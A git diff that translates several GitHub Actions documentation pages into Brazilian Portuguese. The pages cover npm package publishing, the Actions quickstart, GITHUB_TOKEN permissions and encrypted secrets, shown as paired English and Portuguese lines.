+Observe que você precisa definir o `registry-url` como `https://registry.npmjs.org/` em `setup-node` para configurar corretamente suas credenciais.
 
-## Publishing packages to {% data variables.product.prodname_registry %}
+## Publicar pacotes em {% data variables.product.prodname_registry %}
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs anytime the `release` event with type `created` occurs. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass.
+Cada vez que você criar uma nova versão, você poderá acionar um fluxo de trabalho para publicar o seu pacote. O fluxo de trabalho no exemplo abaixo é executado sempre que ocorre o evento `versão` com o tipo `criado`. O fluxo de trabalho publica o pacote em {% data variables.product.prodname_registry %} se o teste de CI for aprovado.
 
-### Configuring the destination repository
+### Configurar o repositório de destino
 
-If you don't provide the `repository` key in your *package.json* file, then {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the `name` field of the *package.json* file. For example, a package named `@my-org/test` is published to the `my-org/test` {% data variables.product.prodname_dotcom %} repository.
+Se você não fornecer a chave do `repositório` no seu arquivo *package.json*, {% data variables.product.prodname_registry %} irá publicar um pacote no repositório de {% data variables.product.prodname_dotcom %} especificado no campo `nome` do arquivo *package.json*. Por exemplo, um pacote denominado `@my-org/test` é publicado no `my-org/test` repositório de {% data variables.product.prodname_dotcom %}.
 
-However, if you do provide the `repository` key, then the repository in that key is used as the destination npm registry for {% data variables.product.prodname_registry %}. For example, publishing the below *package.json* results in a package named `my-amazing-package` published to the `octocat/my-other-repo` {% data variables.product.prodname_dotcom %} repository.
+No entanto, se você fornecer a chave `repositório`, o repositório nessa chave será usado como o registro de npm de destino para {% data variables.product.prodname_registry %}. Por exemplo, publicar os resultados *package.json* abaixo em um pacote denominado `my-amazing-package` publicado no repositório `octocat/meu-repo` de {% data variables.product.prodname_dotcom %}.
 
 ```json
 {
@@ -113,15 +113,15 @@ However, if you do provide the `repository` key, then the repository in that key
   },
 ```
 
-### Authenticating to the destination repository
+### Efetuar a autenticação no repositório de destino
 
-To perform authenticated operations against the {% data variables.product.prodname_registry %} registry in your workflow, you can use the `GITHUB_TOKEN`. {% data reusables.github-actions.github-token-permissions %}
+Para realizar operações autenticadas no registro do {% data variables.product.prodname_registry %} em seu fluxo de trabalho, você pode usar o `GITHUB_TOKEN`. {% data reusables.github-actions.github-token-permissions %}
 
-If you want to publish your package to a different repository, you must use a personal access token (PAT) that has permission to write to packages in the destination repository. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+Se você quiser publicar seu pacote em um repositório diferente, você deverá usar um token de acesso pessoal (PAT) que tenha permissão para escrever pacotes no repositório de destino. Para obter mais informações, consulte "[Criar um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)" e "[Segredos criptografados](/actions/reference/encrypted-secrets)".
 
-### Example workflow
+### Exemplo de fluxo de trabalho
 
-This example stores the `GITHUB_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable.
+Este exemplo armazena o segredo `GITHUB_TOKEN` na variável de ambiente `NODE_AUTH_TOKEN`. Quando a ação `setup-node` cria um arquivo *.npmrc*, ela faz referência ao token da variável de ambiente `NODE_AUTH_TOKEN`.
 
 ```yaml{:copy}
 name: Publish package to GitHub Packages
@@ -149,7 +149,7 @@ jobs:
           NODE_AUTH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-The `setup-node` action creates an *.npmrc* file on the runner. When you use the `scope` input to the `setup-node` action, the *.npmrc* file includes the scope prefix. By default, the `setup-node` action sets the scope in the *.npmrc* file to the account that contains that workflow file.
+A ação `setup-node` cria um arquivo *.npmrc* no executor. Ao usar a entrada do `escopo` para a ação `setup-node`, o arquivo *.npmrc* incluirá o prefixo do escopo. Por padrão, a ação `setup-node` define o escopo no arquivo *.npmrc* na conta que contém esse arquivo do fluxo de trabalho.
 
 ```ini
 //npm.pkg.github.com/:_authToken=${NODE_AUTH_TOKEN}
@@ -157,9 +157,9 @@ The `setup-node` action creates an *.npmrc* file on the runner. When you use the
 always-auth=true
 ```
 
-## Publishing packages using yarn
+## Publicar pacotes usando o yarn
 
-If you use the Yarn package manager, you can install and publish packages using Yarn.
+Se você usar o gerenciador de pacotes Yarn, você poderá instalar e publicar pacotes usando o Yarn.
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/pt-BR/content/actions/quickstart.md b/translations/pt-BR/content/actions/quickstart.md
index 28d20b78f7..f85cd0ca7d 100644
--- a/translations/pt-BR/content/actions/quickstart.md
+++ b/translations/pt-BR/content/actions/quickstart.md
@@ -1,6 +1,6 @@
 ---
-title: Quickstart for GitHub Actions
-intro: 'Try out the features of {% data variables.product.prodname_actions %} in 5 minutes or less.'
+title: Início rápido para GitHub Actions
+intro: 'Experimente as funcionalidades de {% data variables.product.prodname_actions %} em 5 minutos ou menos.'
 allowTitleToDifferFromFilename: true
 redirect_from:
   - /actions/getting-started-with-github-actions/starting-with-preconfigured-workflow-templates
@@ -12,23 +12,23 @@ versions:
 type: quick_start
 topics:
   - Fundamentals
-shortTitle: Quickstart
+shortTitle: QuickStart
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-You only need a {% data variables.product.prodname_dotcom %} repository to create and run a {% data variables.product.prodname_actions %} workflow. In this guide, you'll add a workflow that demonstrates some of the essential features of {% data variables.product.prodname_actions %}. 
+Você precisa apenas de um repositório de {% data variables.product.prodname_dotcom %} para criar e executar um fluxo de trabalho de {% data variables.product.prodname_actions %}. Neste guia, você adicionará um fluxo de trabalho que demonstra algumas das funcionalidades essenciais de {% data variables.product.prodname_actions %}.
 
-The following example shows you how {% data variables.product.prodname_actions %} jobs can be automatically triggered, where they run, and how they can interact with the code in your repository.
+O exemplo a seguir mostra como os trabalhos de {% data variables.product.prodname_actions %} podem ser acionados automaticamente, onde são executados e como podem interagir com o código no seu repositório.
 
-## Creating your first workflow
+## Criar o seu primeiro fluxo de trabalho
 
-1. Create a `.github/workflows` directory in  your repository on {% data variables.product.prodname_dotcom %} if this directory does not already exist.
-2. In the `.github/workflows` directory, create a file named `github-actions-demo.yml`. For more information, see "[Creating new files](/github/managing-files-in-a-repository/creating-new-files)."
-3. Copy the following YAML contents into the `github-actions-demo.yml` file:
+1. Crie um diretório `.github/workflows` no repositório {% data variables.product.prodname_dotcom %} se este diretório não existir.
+2. No diretório `.github/workflows`, crie um arquivo denominado `github-actions-demo.yml`. Para obter mais informações, consulte "[Criar arquivos](/github/managing-files-in-a-repository/creating-new-files)".
+3. Copie o conteúdo de YAML a seguir para o arquivo `github-actions-demo.yml`:
     {% raw %}
     ```yaml{:copy}
     name: GitHub Actions Demo
@@ -51,42 +51,40 @@ The following example shows you how {% data variables.product.prodname_actions %
 
     ```
     {% endraw %}
-3. Scroll to the bottom of the page and select **Create a new branch for this commit and start a pull request**. Then, to create a pull request, click **Propose new file**.
-    ![Commit workflow file](/assets/images/help/repository/actions-quickstart-commit-new-file.png)
+3. Vá até o final da página e selecione **Criar um novo branch para este commit e iniciar um pull request**. Em seguida, para criar um pull request, clique em **Propor novo arquivo**. ![Arquivo do fluxo de trabalho do commit](/assets/images/help/repository/actions-quickstart-commit-new-file.png)
 
-Committing the workflow file to a branch in your repository triggers the `push` event and runs your workflow.
+Fazer commit do arquivo de fluxo de trabalho para um branch em seu repositório aciona o evento `push` e executa seu fluxo de trabalho.
 
-## Viewing your workflow results
+## Visualizar os resultados do seu fluxo de trabalho
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
-1. In the left sidebar, click the workflow you want to see.
+1. Na barra lateral esquerda, clique no fluxo de trabalho que deseja ver.
 
-   ![Workflow list in left sidebar](/assets/images/help/repository/actions-quickstart-workflow-sidebar.png)
-1. From the list of workflow runs, click the name of the run you want to see.
+   ![Lista de fluxo de trabalho na barra lateral esquerda](/assets/images/help/repository/actions-quickstart-workflow-sidebar.png)
+1. Na lista de execuções do fluxo de trabalho, clique no nome da execução que você deseja visualizar.
 
-   ![Name of workflow run](/assets/images/help/repository/actions-quickstart-run-name.png)
-1. Under **Jobs** , click the **Explore-GitHub-Actions** job.
+   ![Nome da execução do fluxo de trabalho](/assets/images/help/repository/actions-quickstart-run-name.png)
+1. Em **Trabalhos**, clique no trabalho **Explore-GitHub-Actions**.
 
-   ![Locate job](/assets/images/help/repository/actions-quickstart-job.png)
-1. The log shows you how each of the steps was processed. Expand any of the steps to view its details.
+   ![Localizar trabalho](/assets/images/help/repository/actions-quickstart-job.png)
+1. O registro mostra como cada uma das etapas foi processada. Expanda qualquer um dos passos para ver seus detalhes.
 
-   ![Example workflow results](/assets/images/help/repository/actions-quickstart-logs.png)
-   
-   For example, you can see the list of files in your repository:
-   ![Example action detail](/assets/images/help/repository/actions-quickstart-log-detail.png)
-   
-## More starter workflows
+   ![Exemplos de resultados do fluxo de trabalho](/assets/images/help/repository/actions-quickstart-logs.png)
+
+   Por exemplo, você pode ver a lista de arquivos no seu repositório: ![Exemplo do detalhe da ação](/assets/images/help/repository/actions-quickstart-log-detail.png)
+
+## Mais fluxos de trabalho iniciais
 
 {% data reusables.actions.workflow-template-overview %}
 
-## Next steps
+## Próximas etapas
 
-The example workflow you just added runs each time code is pushed to the branch, and shows you how {% data variables.product.prodname_actions %} can work with the contents of your repository. But this is only the beginning of what you can do with {% data variables.product.prodname_actions %}:
+O exemplo do fluxo de trabalho que você acabou de adicionar é executado cada vez que o código for enviado para o branch e mostra como {% data variables.product.prodname_actions %} pode funcionar com o conteúdo do seu repositório. Mas este é apenas o início do que você pode fazer com {% data variables.product.prodname_actions %}:
 
-- Your repository can contain multiple workflows that trigger different jobs based on different events. 
-- You can use a workflow to install software testing apps and have them automatically test your code on {% data variables.product.prodname_dotcom %}'s runners. 
+- O seu repositório pode conter vários fluxos de trabalho que ativam diferentes tarefas com base em diferentes eventos.
+- Você pode usar um fluxo de trabalho para instalar aplicativos de teste de software e fazer com que testem automaticamente seu código nos executores de {% data variables.product.prodname_dotcom %}.
 
-{% data variables.product.prodname_actions %} can help you automate nearly every aspect of your application development processes. Ready to get started? Here are some helpful resources for taking your next steps with {% data variables.product.prodname_actions %}:
+O {% data variables.product.prodname_actions %} pode ajudá-lo a automatizar quase todos os aspectos dos processos de desenvolvimento do seu aplicativo. Pronto para começar? Aqui estão alguns recursos úteis para dar seus próximos passos com {% data variables.product.prodname_actions %}:
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" for an in-depth tutorial.
+- "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)" para obter um tutorial aprofundado.
diff --git a/translations/pt-BR/content/actions/security-guides/automatic-token-authentication.md b/translations/pt-BR/content/actions/security-guides/automatic-token-authentication.md
index 40d3af358b..83e2a362cb 100644
--- a/translations/pt-BR/content/actions/security-guides/automatic-token-authentication.md
+++ b/translations/pt-BR/content/actions/security-guides/automatic-token-authentication.md
@@ -1,6 +1,6 @@
 ---
-title: Automatic token authentication
-intro: '{% data variables.product.prodname_dotcom %} provides a token that you can use to authenticate on behalf of {% data variables.product.prodname_actions %}.'
+title: Autenticação automática de token
+intro: '{% data variables.product.prodname_dotcom %} fornece um token que você pode usar para autenticar em nome de {% data variables.product.prodname_actions %}.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/authenticating-with-the-github_token
   - /actions/automating-your-workflow-with-github-actions/authenticating-with-the-github_token
@@ -11,39 +11,39 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Automatic token authentication
+shortTitle: Autenticação automática de token
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About the `GITHUB_TOKEN` secret
+## Sobre o segredo `GITHUB_TOKEN`
 
-At the start of each workflow run, {% data variables.product.prodname_dotcom %} automatically creates a unique `GITHUB_TOKEN` secret to use in your workflow. You can use the `GITHUB_TOKEN` to authenticate in a workflow run.
+No início da execução de cada fluxo de trabalho, {% data variables.product.prodname_dotcom %} cria automaticamente um segredo exclusivo de `GITHUB_TOKEN` para usar no seu fluxo de trabalho. Você pode usar o `GITHUB_TOKEN` para autenticar em uma execução de fluxo de trabalho.
 
-When you enable {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dotcom %} installs a {% data variables.product.prodname_github_app %} on your repository. The `GITHUB_TOKEN` secret is a {% data variables.product.prodname_github_app %} installation access token. You can use the installation access token to authenticate on behalf of the {% data variables.product.prodname_github_app %} installed on your repository. The token's permissions are limited to the repository that contains your workflow. For more information, see "[Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token)."
+Ao habilitar {% data variables.product.prodname_actions %}, {% data variables.product.prodname_dotcom %} instala um {% data variables.product.prodname_github_app %} no seu repositório. O segredo `GITHUB_TOKEN` é um token de acesso de instalação {% data variables.product.prodname_github_app %}. Você pode usar o token de acesso de instalação para autenticar em nome do {% data variables.product.prodname_github_app %} instalado no seu repositório. As permissões do token são restritas ao repositório do fluxo de trabalho. Para obter mais informações, consulte "[Permissões para o `GITHUB_TOKEN`](#permissions-for-the-github_token)".
 
-Before each job begins, {% data variables.product.prodname_dotcom %} fetches an installation access token for the job. The token expires when the job is finished.
+Antes de iniciar cada trabalho, {% data variables.product.prodname_dotcom %} busca um token de acesso de instalação para o trabalho. O token expira quando o trabalho é concluído.
 
-The token is also available in the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)."
+O token também está disponível no contexto `github.token`. Para obter mais informações, consulte "[Contextos](/actions/learn-github-actions/contexts#github-context)".
 
-## Using the `GITHUB_TOKEN` in a workflow
+## Usar o `GITHUB_TOKEN` em um fluxo de trabalho
 
-You can use the `GITHUB_TOKEN` by using the standard syntax for referencing secrets: {%raw%}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. Examples of using the `GITHUB_TOKEN` include passing the token as an input to an action, or using it to make an authenticated {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API request.
+Você pode usar o `GITHUB_TOKEN` ao usar a sintaxe padrão para fazer referência a segredos: {%raw%}`${{ secrets.GITHUB_TOKEN }}`{% endraw %}. Exemplos de uso do `GITHUB_TOKEN` incluem passar o token como uma entrada para uma ação ou usá-lo para fazer uma solicitação da API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} autenticada.
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
 {% note %}
 
-**Important:** An action can access the `GITHUB_TOKEN` through the `github.token` context even if the workflow does not explicitly pass the `GITHUB_TOKEN` to the action. As a good security practice, you should always make sure that actions only have the minimum access they require by limiting the permissions granted to the `GITHUB_TOKEN`. For more information, see "[Permissions for the `GITHUB_TOKEN`](#permissions-for-the-github_token)."
+**Importante:** Uma ação pode acessar o `GITHUB_TOKEN` por meio do contexto `github.token`, mesmo que o fluxo de trabalho não passe explicitamente o `GITHUB_TOKEN` para a ação. Como uma boa prática de segurança, você deve sempre certificar-se de que as ações só têm o acesso mínimo necessário limitando as permissões concedidas ao `GITHUB_TOKEN`. Para obter mais informações, consulte "[Permissões para o `GITHUB_TOKEN`](#permissions-for-the-github_token)".
 
 {% endnote %}
 {% endif %}
 
 {% data reusables.github-actions.actions-do-not-trigger-workflows %}
 
-### Example 1: passing the `GITHUB_TOKEN` as an input
+### Exemplo 1: Passar o `GITHUB_TOKEN` como uma entrada
 
-This example workflow uses the [labeler action](https://github.com/actions/labeler), which requires the `GITHUB_TOKEN` as the value for the `repo-token` input parameter:
+Este exemplo de fluxo de trabalho usa a [ação etiquetadora](https://github.com/actions/labeler), que exige o `GITHUB_TOKEN` como o valor para o parâmetro de entrada do `token`:
 
 ```yaml
 name: Pull request labeler
@@ -64,9 +64,9 @@ jobs:
           repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-### Example 2: calling the REST API
+### Exemplo 2: chamando a API REST
 
-You can use the `GITHUB_TOKEN` to make authenticated API calls. This example workflow creates an issue using the {% data variables.product.prodname_dotcom %} REST API:
+Você pode usar o `GITHUB_TOKEN` para fazer chamadas de API autenticada. Este exemplo de fluxo de trabalho cria um problema usando a API REST de {% data variables.product.prodname_dotcom %}:
 
 ```yaml
 name: Create issue on commit
@@ -92,67 +92,67 @@ jobs:
           --fail
 ```
 
-## Permissions for the `GITHUB_TOKEN`
+## Permissões para o `GITHUB_TOKEN`
 
-For information about the API endpoints {% data variables.product.prodname_github_apps %} can access with each permission, see "[{% data variables.product.prodname_github_app %} Permissions](/rest/reference/permissions-required-for-github-apps)."
+Para obter informações sobre quais os pontos de extremidade da API de {% data variables.product.prodname_github_apps %} podem acessar com cada permissão, consulte "[Permissões de {% data variables.product.prodname_github_app %}](/rest/reference/permissions-required-for-github-apps)."
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-The following table shows the permissions granted to the `GITHUB_TOKEN` by default. People with admin permissions to an {% ifversion not ghes %}enterprise, organization, or repository,{% else %}organization or repository{% endif %} can set the default permissions to be either permissive or restricted. For information on how to set the default permissions for the `GITHUB_TOKEN` for your enterprise, organization, or repository, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise)," "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization)," or "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#setting-the-permissions-of-the-github_token-for-your-repository)."
+A tabela a seguir mostra as permissões concedidas ao `GITHUB_TOKEN` por padrão. As pessoas com permissões de administrador para uma empresa, organização ou repositório de {% ifversion not ghes %}{% else %}organização ou repositório{% endif %} pode definir as permissões padrão como permissivas ou restritas. Para informações sobre como definir as permissões padrão para o `GITHUB_TOKEN` para a sua empresa, organização ou repositório, consulte "[Aplicando políticas para {% data variables.product.prodname_actions %} na sua empresa](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise#enforcing-a-policy-for-workflow-permissions-in-your-enterprise), "[Desabilitando ou limitando {% data variables.product.prodname_actions %} para sua organização](/github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization#setting-the-permissions-of-the-github_token-for-your-organization), ou "[Gerenciando configurações do {% data variables.product.prodname_actions %} para um repositório](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#setting-the-permissions-of-the-github_token-for-your-repository)."
 
-| Scope         | Default access<br>(permissive) | Default access<br>(restricted) | Maximum access<br>by forked repos |
-|---------------|-----------------------------|-----------------------------|--------------------------------|
-| actions       | read/write  | none | read |
-| checks        | read/write  | none | read |
-| contents      | read/write  | read | read |
-| deployments   | read/write  | none | read |
-| id-token      | read/write  | none | read |
-| issues        | read/write  | none | read |
-| metadata      | read        | read | read |
-| packages      | read/write  | none | read |
-| pull requests | read/write  | none | read |
-| repository projects | read/write | none | read |
-| security events     | read/write | none | read |
-| statuses      | read/write  | none | read |
+| Escopo                  | Acesso padrão<br>(permissivo) | Acesso padrão<br>(restrito) | Acesso máximo<br>por repositórios bifurcados |
+| ----------------------- | ----------------------------------- | --------------------------------- | -------------------------------------------------- |
+| ações                   | leitura/gravação                    | nenhum                            | leitura                                            |
+| Verificações            | leitura/gravação                    | nenhum                            | leitura                                            |
+| Conteúdo                | leitura/gravação                    | leitura                           | leitura                                            |
+| Implantações            | leitura/gravação                    | nenhum                            | leitura                                            |
+| id-token                | leitura/gravação                    | nenhum                            | leitura                                            |
+| Problemas               | leitura/gravação                    | nenhum                            | leitura                                            |
+| metadados               | leitura                             | leitura                           | leitura                                            |
+| pacotes                 | leitura/gravação                    | nenhum                            | leitura                                            |
+| Pull requests           | leitura/gravação                    | nenhum                            | leitura                                            |
+| Projetos de repositório | leitura/gravação                    | nenhum                            | leitura                                            |
+| eventos de segurança    | leitura/gravação                    | nenhum                            | leitura                                            |
+| Status                  | leitura/gravação                    | nenhum                            | leitura                                            |
 {% else %}
-| Scope    | Access type | Access by forked repos |
-|----------|-------------|--------------------------|
-| actions  | read/write  | read |
-| checks   | read/write  | read |
-| contents | read/write  | read |
-| deployments | read/write | read |
-| issues   | read/write  | read |
-| metadata | read        | read |
-| packages | read/write  | read |
-| pull requests | read/write | read |
-| repository projects | read/write | read |
-| statuses | read/write  | read |
+| Escopo                  | Tipo de acesso   | Acesso pelos repositórios bifurcados |
+| ----------------------- | ---------------- | ------------------------------------ |
+| ações                   | leitura/gravação | leitura                              |
+| Verificações            | leitura/gravação | leitura                              |
+| Conteúdo                | leitura/gravação | leitura                              |
+| Implantações            | leitura/gravação | leitura                              |
+| Problemas               | leitura/gravação | leitura                              |
+| metadados               | leitura          | leitura                              |
+| pacotes                 | leitura/gravação | leitura                              |
+| Pull requests           | leitura/gravação | leitura                              |
+| Projetos de repositório | leitura/gravação | leitura                              |
+| Status                  | leitura/gravação | leitura                              |
 {% endif %}
 
 {% data reusables.actions.workflow-runs-dependabot-note %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-### Modifying the permissions for the `GITHUB_TOKEN`
+### Modificar as permissões para o `GITHUB_TOKEN`
 
-You can modify the permissions for the `GITHUB_TOKEN` in individual workflow files. If the default permissions for the `GITHUB_TOKEN` are restrictive, you may have to elevate the permissions to allow some actions and commands to run successfully. If the default permissions are permissive, you can edit the workflow file to remove some permissions from the `GITHUB_TOKEN`. As a good security practice, you should grant the `GITHUB_TOKEN` the least required access.
+Você pode modificar as permissões para o `GITHUB_TOKEN` nos arquivos de fluxo de trabalho individuais. Se as permissões padrão para o `GITHUB_TOKEN` forem restritivas, você poderá ter que elevar as permissões para permitir que algumas ações e comandos sejam executados com sucesso. Se as permissões padrão forem permissivas, você poderá editar o arquivo do fluxo de trabalho para remover algumas permissões do `GITHUB_TOKEN`. Como uma boa prática de segurança, você deve conceder ao `GITHUB_TOKEN` o acesso menos necessário.
 
-You can see the permissions that `GITHUB_TOKEN` had for a specific job in the "Set up job" section of the workflow run log. For more information, see "[Using workflow run logs](/actions/managing-workflow-runs/using-workflow-run-logs)."
+Você pode ver as permissões que o `GITHUB_TOKEN` tem para uma tarefa específica na seção "Configurar trabalho" no registro de execução do fluxo de trabalho. Para obter mais informações, consulte "[Usar registros de execução do fluxo de trabalho](/actions/managing-workflow-runs/using-workflow-run-logs)".
 
-You can use the `permissions` key in your workflow file to modify permissions for the `GITHUB_TOKEN` for an entire workflow or for individual jobs. This allows you to configure the minimum required permissions for a workflow or job. When the `permissions` key is used, all unspecified permissions are set to no access, with the exception of the `metadata` scope, which always gets read access.
+Você pode usar a chave de `permissões` no seu arquivo de fluxo de trabalho para modificar as permissões para o `GITHUB_TOKEN` para um fluxo de trabalho inteiro ou para trabalhos individuais. Isso permite que você configure as permissões mínimas necessárias para um fluxo de trabalho ou trabalho. Quando a chave `permissions` for usada, todas as permissões não especificadas são configuradas como sem acesso, com exceção do escopo de `metadados`, que sempre recebe acesso de leitura.
 
 {% data reusables.github-actions.forked-write-permission %}
 
-The two workflow examples earlier in this article show the `permissions` key being used at the workflow level, and at the job level. In [Example 1](#example-1-passing-the-github_token-as-an-input) the two permissions are specified for the entire workflow. In [Example 2](#example-2-calling-the-rest-api) write access is granted for one scope for a single job.
+Os dois exemplos de fluxo de trabalho anteriores neste artigo mostram a chave de `permissões` usada no nível de fluxo de trabalho e no nível de trabalho. Em [Exemplo 1](#example-1-passing-the-github_token-as-an-input) as duas permissões são especificadas para todo o fluxo de trabalho. No [Exemplo 2](#example-2-calling-the-rest-api) de acesso de gravação é concedido para um único escopo para um único trabalho.
 
-For full details of the `permissions` key, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#permissions)."
+Para obter detalhes completos sobre a chave de `permissões`, consulte "[Sintaxe de fluxo de trabalho para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#permissions).
 
-#### How the permissions are calculated for a workflow job
+#### Como as permissões são calculadas para um trabalho de fluxo de trabalho
 
-The permissions for the `GITHUB_TOKEN` are initially set to the default setting for the enterprise, organization, or repository. If the default is set to the restricted permissions at any of these levels then this will apply to the relevant repositories. For example, if you choose the restricted default at the organization level then all repositories in that organization will use the restricted permissions as the default. The permissions are then adjusted based on any configuration within the workflow file, first at the workflow level and then at the job level. Finally, if the workflow was triggered by a pull request from a forked repository, and the **Send write tokens to workflows from pull requests** setting is not selected, the permissions are adjusted to change any write permissions to read only.
+As permissões para o `GITHUB_TOKEN` são inicialmente definidas como a configuração padrão para a empresa, organização ou repositório. Se o padrão for definido como permissões restritas em qualquer um desses níveis, isso irá aplicar-se aos repositórios relevantes. Por exemplo, Se você escolher o padrão restrito no nível da organização, todos os repositórios nessa organização usarão as permissões restritas como padrão. As permissões serão, então, ajustadas com base em qualquer configuração dentro do arquivo de fluxo de trabalho, primeiro no nível de fluxo de trabalho e, em seguida, no nível de trabalho. Por fim, se o fluxo de trabalho foi acionado por um pull request de um repositório bifurcado, e a configuração **Enviar tokens de gravação para fluxos de trabalho de pull requests** não estiver selecionada, as permissões serão ajustadas para alterar qualquer permissão de gravação para somente leitura.
 
-### Granting additional permissions
+### Conceder permissões adicionais
 {% endif %}
 
-If you need a token that requires permissions that aren't available in the `GITHUB_TOKEN`, you can create a personal access token and set it as a secret in your repository:
+Se você precisa de um token que exige premissões que não estão disponíveis no `GITHUB_TOKEN`, é possível criar um token de acesso pessoal e configurá-lo como um segredo no repositório:
 
-1. Use or create a token with the appropriate permissions for that repository. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
-1. Add the token as a secret in your workflow's repository, and refer to it using the {%raw%}`${{ secrets.SECRET_NAME }}`{% endraw %} syntax. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+1. Use ou crie um token com as permissões adequadas para o repositório. Para mais informação, consulte "[Criando um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)."
+1. Adicione o token como um segredo no repositório do fluxo de trabalho e refira-se a ele usando a sintaxe {%raw%}`${{ secrets.SECRET_NAME }}`{% endraw %}. Para obter mais informações, consulte "[Criando e usando segredos encriptados](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)".
diff --git a/translations/pt-BR/content/actions/security-guides/encrypted-secrets.md b/translations/pt-BR/content/actions/security-guides/encrypted-secrets.md
index ebe23f7005..171ffd9f58 100644
--- a/translations/pt-BR/content/actions/security-guides/encrypted-secrets.md
+++ b/translations/pt-BR/content/actions/security-guides/encrypted-secrets.md
@@ -1,6 +1,6 @@
 ---
-title: Encrypted secrets
-intro: 'Encrypted secrets allow you to store sensitive information in your organization{% ifversion fpt or ghes > 3.0 or ghec %}, repository, or repository environments{% else %} or repository{% endif %}.'
+title: Segredos criptografados
+intro: 'Segredos criptografados permitem que você armazene informações confidenciais na organização{% ifversion fpt or ghes > 3.0 or ghec %}, repositório ou ambientes de repositórios{% else %} ou repositório{% endif %}.'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
   - /actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
@@ -17,81 +17,79 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About encrypted secrets
+## Sobre os segredos encriptados
 
-Secrets are encrypted environment variables that you create in an organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repository, or repository environment{% else %} or repository{% endif %}. The secrets that you create are available to use in {% data variables.product.prodname_actions %} workflows. {% data variables.product.prodname_dotcom %} uses a [libsodium sealed box](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) to help ensure that secrets are encrypted before they reach {% data variables.product.prodname_dotcom %} and remain encrypted until you use them in a workflow.
+Os segredos são variáveis de ambiente criptografadas que você cria em uma organização{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repositório ou ambiente do repositório{% else %} ou repositório{% endif %}. Os segredos que você cria estão disponíveis para utilização nos fluxos de trabalho em {% data variables.product.prodname_actions %}. {% data variables.product.prodname_dotcom %} usa uma [caixa selada libsodium](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) para ajudar a garantir que os segredos sejam criptografados antes de chegarem a {% data variables.product.prodname_dotcom %} e permaneçam criptografados até que você os use em um fluxo de trabalho.
 
 {% data reusables.github-actions.secrets-org-level-overview %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-For secrets stored at the environment level, you can enable required reviewers to control access to the secrets. A workflow job cannot access environment secrets until approval is granted by required approvers.
+Para segredos armazenados no nível do ambiente, você pode habilitar os revisores necessários para controlar o acesso aos segredos. Um trabalho de fluxo de trabalho não pode acessar segredos de ambiente até que a aprovação seja concedida por aprovadores necessários.
 {% endif %}
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %}
+**Observação**: {% data reusables.actions.about-oidc-short-overview %}
 
 {% endnote %}
 
 {% endif %}
 
-### Naming your secrets
+### Nomear os seus segredos
 
 {% data reusables.codespaces.secrets-naming %}
 
